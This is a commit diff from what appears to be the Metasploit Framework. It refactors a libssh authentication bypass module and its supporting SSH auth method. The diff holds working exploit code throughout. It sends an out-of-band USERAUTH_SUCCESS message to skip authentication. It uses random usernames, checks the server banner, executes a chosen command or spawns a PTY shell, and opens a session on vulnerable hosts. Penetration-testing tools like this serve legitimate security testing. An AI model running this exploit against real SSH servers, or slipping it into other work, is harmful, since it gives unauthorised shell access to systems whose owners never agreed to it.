Skip to content

Commit 2139733

Browse files
committed
Refactor fortinet_backdoor copypasta
1 parent 863ab34 commit 2139733

File tree

2 files changed

+39
-20
lines changed

2 files changed

+39
-20
lines changed

lib/msf/core/exploit/ssh/auth_methods.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -167,13 +167,15 @@ class Net::SSH::Authentication::Methods::LibsshAuthBypass < Net::SSH::Authentica
167167
def authenticate(service_name, username, password = nil)
168168
debug { 'Sending SSH_MSG_USERAUTH_SUCCESS' }
169169

170+
# USERAUTH_SUCCESS is OOB and elicits no reply
170171
send_message(Net::SSH::Buffer.from(
171172
=begin
172173
byte SSH_MSG_USERAUTH_SUCCESS
173174
=end
174175
:byte, USERAUTH_SUCCESS
175176
))
176177

178+
# So assume we succeeded until we can verify
177179
true
178180
end
179181
end

modules/auxiliary/scanner/ssh/libssh_auth_bypass.rb

Lines changed: 37 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -14,11 +14,16 @@ def initialize(info = {})
1414
super(update_info(info,
1515
'Name' => 'libssh Authentication Bypass Scanner',
1616
'Description' => %q{
17-
"libssh versions 0.6 and above have an authentication bypass vulnerability in
18-
the server code. By presenting the server an SSH2_MSG_USERAUTH_SUCCESS message
19-
in place of the SSH2_MSG_USERAUTH_REQUEST message which the server would expect
20-
to initiate authentication, the attacker could successfully authentciate [sic]
21-
without any credentials."
17+
This module exploits an authentication bypass in libssh server code
18+
where a USERAUTH_SUCCESS message is sent in place of the expected
19+
USERAUTH_REQUEST message. Versions 0.6 and later are affected.
20+
21+
Note that this module's success depends on whether the server code
22+
can trigger the correct (shell/exec) callbacks despite only the state
23+
machine's authenticated state being set.
24+
25+
Therefore, you may or may not get a shell if the server requires
26+
additional code paths to be followed.
2227
},
2328
'Author' => [
2429
'Peter Winter-Smith', # Discovery
@@ -34,7 +39,9 @@ def initialize(info = {})
3439

3540
register_options([
3641
Opt::RPORT(22),
37-
OptString.new('USERNAME', [true, 'SSH username'])
42+
OptString.new('CMD', [false, 'Command to execute']),
43+
OptBool.new('SPAWN_PTY', [false, 'Spawn a PTY', false]),
44+
OptBool.new('CHECK_BANNER', [false, 'Check banner for "libssh"', true])
3845
])
3946

4047
register_advanced_options([
@@ -60,6 +67,8 @@ def run_host(ip)
6067

6168
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
6269

70+
print_status("#{ip}:#{rport} - Attempting authentication bypass")
71+
6372
begin
6473
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
6574
Net::SSH.start(ip, username, ssh_opts)
@@ -71,39 +80,47 @@ def run_host(ip)
7180

7281
return unless ssh
7382

74-
print_good("#{ip}:#{rport} - Logged in as #{username}")
75-
7683
version = ssh.transport.server_version.version
7784

85+
# XXX: The OOB authentication leads to false positives, so check banner
86+
if datastore['CHECK_BANNER'] && !version.include?('libssh')
87+
print_error("#{ip}:#{rport} - #{version} does not appear to be libssh")
88+
return
89+
end
90+
7891
report_vuln(
7992
host: ip,
8093
name: self.name,
8194
refs: self.references,
8295
info: version
8396
)
8497

85-
shell = Net::SSH::CommandStream.new(ssh)
98+
shell = Net::SSH::CommandStream.new(ssh, *config)
8699

87-
return unless shell
100+
# XXX: Wait for CommandStream to log a channel request failure
101+
sleep 0.1
88102

89-
info = "libssh Authentication Bypass (#{version})"
90-
91-
ds_merge = {
92-
'USERNAME' => username
93-
}
94-
95-
start_session(self, info, ds_merge, false, shell.lsock)
103+
if shell.error
104+
print_error("#{ip}:#{rport} - #{shell.error}")
105+
return
106+
end
96107

97-
# XXX: Ruby segfaults if we don't remove the SSH socket
98-
remove_socket(ssh.transport.socket)
108+
start_session(self, "#{self.name} (#{version})", {}, false, shell.lsock)
99109
end
100110

101111
def rport
102112
datastore['RPORT']
103113
end
104114

105115
def username
106-
datastore['USERNAME']
116+
Rex::Text.rand_text_alphanumeric(8..42)
117+
end
118+
119+
def config
120+
[
121+
datastore['CMD'],
122+
pty: datastore['SPAWN_PTY']
123+
]
107124
end
108125

109126
end

0 commit comments

Comments
 (0)